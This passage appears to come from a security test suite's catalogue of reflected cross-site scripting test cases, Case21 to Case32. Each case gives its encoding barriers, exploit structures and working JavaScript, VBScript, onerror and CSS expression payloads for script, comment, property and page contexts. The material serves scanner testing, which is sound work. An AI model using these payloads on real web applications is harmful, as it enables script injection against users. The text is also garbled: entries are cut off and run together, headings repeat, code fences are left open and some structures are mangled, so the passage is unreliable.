Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)
**Sample Exploit Structures:**
value"[CrLf][exploit code]
**Examples:**
Exploit (URL Encoded): aa%22%20%26%20msgbox(%22exploit%22)%20%22aa

**Case21-Vbs2PropertyVbsScope.jsp**
Injection of VBScript into the scope of VBScript code within property (No String Delimiter).
**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
**Sample Exploit Structures:**
value'[CrLf][exploit code]
**Examples:**
Exploit (Replace the input): msgbox (document.domain)

**Case22-Js2ScriptTagDoubleQuoteDelimiter.jsp**
Injection of Javascript into the scope of a script tag (Javascript, Double Quote String Delimiter).
**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)
**Sample Exploit Structures:**
value";[exploit code]
**Examples:**
Exploit: david";document.title="exploit
Independent Exploit: david";alert("exploit");//

**Case23-Js2ScriptTagSingleQuoteDelimiter.jsp**
Injection of Javascript into the scope of a script tag (Javascript, Single Quote String Delimiter).
**Barriers:**
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
**Sample Exploit Structures:**
value'[::-exploit code]
**Examples:**
Exploit: david';document.title='exploit
Independent Exploit: david';alert('exploit');//

**Case24-Js2ScriptTag.jsp**
Injection of Javascript into the scope of a script tag (Javascript, No String Delimiter).
**Barriers:**
Partial HTML encoding (angle brackets)
Case25-Vbs2ScriptTagDoubleQuoteDelimiter.jsp
Injection of VBScript into the scope of a script tag (VBScript, Double Quote String Delimiter).
Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (single quote)
Sample Exploit Structures:
value;[exploit code]
Examples:
Exploit: 1234;document.title=document.domain
Independent Exploit: 1234;document.title=document.domain;//

Case26-Vbs2ScriptTag.jsp
Injection of VBScript into the scope of a script tag (VBScript, No String Delimiter).
Barriers:
Partial HTML encoding (angle brackets)
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)
Sample Exploit Structures:
value[CrLf][exploit code]
Examples:
Exploit: david"%0A%0Dmsgbox "exploit

Case27-Js2ScriptTagOLCommentScope.jsp
Injection of Javascript into the scope of a script tag single line comment.
Barriers:
Partial HTML encoding (angle brackets)
Sample Exploit Structures:
[CrLf][exploit code]
Examples:
Exploit: %0A%0Ddocument.title=document.domain
Independent Exploit: %0A%0Ddocument.title=document.domain;//

Case28-Js2ScriptTagMLCommentScope.jsp
Injection of Javascript into the scope of a script tag multiline comment.
Barriers:
Partial HTML encoding (angle brackets)
Sample Exploit Structures:
*/[exploit code]
Examples:
Exploit: */;%0A%0Ddocument.title=document.domain;/*

Case29-Vbs2ScriptTagOLCommentScope.jsp
Injection of VBScript into the scope of a script tag single line comment.
Barriers:
Partial HTML encoding (angle brackets)
Sample Exploit Structures:
[CrLf][exploit code]
Examples:
Exploit: 1234%0A%0Dmsgbox document.domain%0A%0D

Case30-Tag2HtmlPageScopeMultipleVulnerabilities.jsp
Partial HTML encoding (double quote)
Partial HTML encoding (single quote)
Sample Exploit Structures:
value;[exploit code]
Injection of tags to the scope of the HTML page (Multiple RXSS Vulnerabilities).

**Barriers:**
None

**Sample Exploit Structures:**

`[CrLf][exploit code]`

**Sample Exploit Structures:**

```html
<script>[exploit code]</script>
<input type=text [dhtmlevent]="[code]">
<[customtag] style="width: expression([exploit code]);">

**Examples:**

Exploit: <script>document.title="Exploit";</script>
Silent Exploit: <img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: <sectooladdict style="width: expression(document.title=document.domain);">

---

**Case31-Tag2HtmlPageScopeDuringException.jsp**

Injection of tags to the scope of the HTML page during an exception.

**Barriers:**
None

**Sample Exploit Structures:**

`[CrLf][exploit code]`

**Sample Exploit Structures:**

```html
<script>[exploit code]</script>
<input type=text [dhtmlevent]="[code]">
<[customtag] style="width: expression([exploit code]);">

**Examples:**

Exploit: <script>document.title="Exploit";</script>
Silent Exploit: <img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: <sectooladdict style="width: expression(document.title=document.domain);">

---

**Case32-Tag2HtmlPageScopeValidViewstateRequired.jsp**

Injection of tags to the scope of the HTML page (Viewstate Required).

**Barriers:**
None

**Sample Exploit Structures:**

`[CrLf][exploit code]`

**Sample Exploit Structures:**

```html
<script>[exploit code]</script>
<input type=text [dhtmlevent]="[code]">
<[customtag] style="width: expression([exploit code]);">

**Examples:**

Exploit: <script>document.title="Exploit";</script>
Silent Exploit: <img src="a" onerror="javascript:document.title=document.domain">
IE Custom Tag Exploit: <sectooladdict style="width: expression(document.title=document.domain);">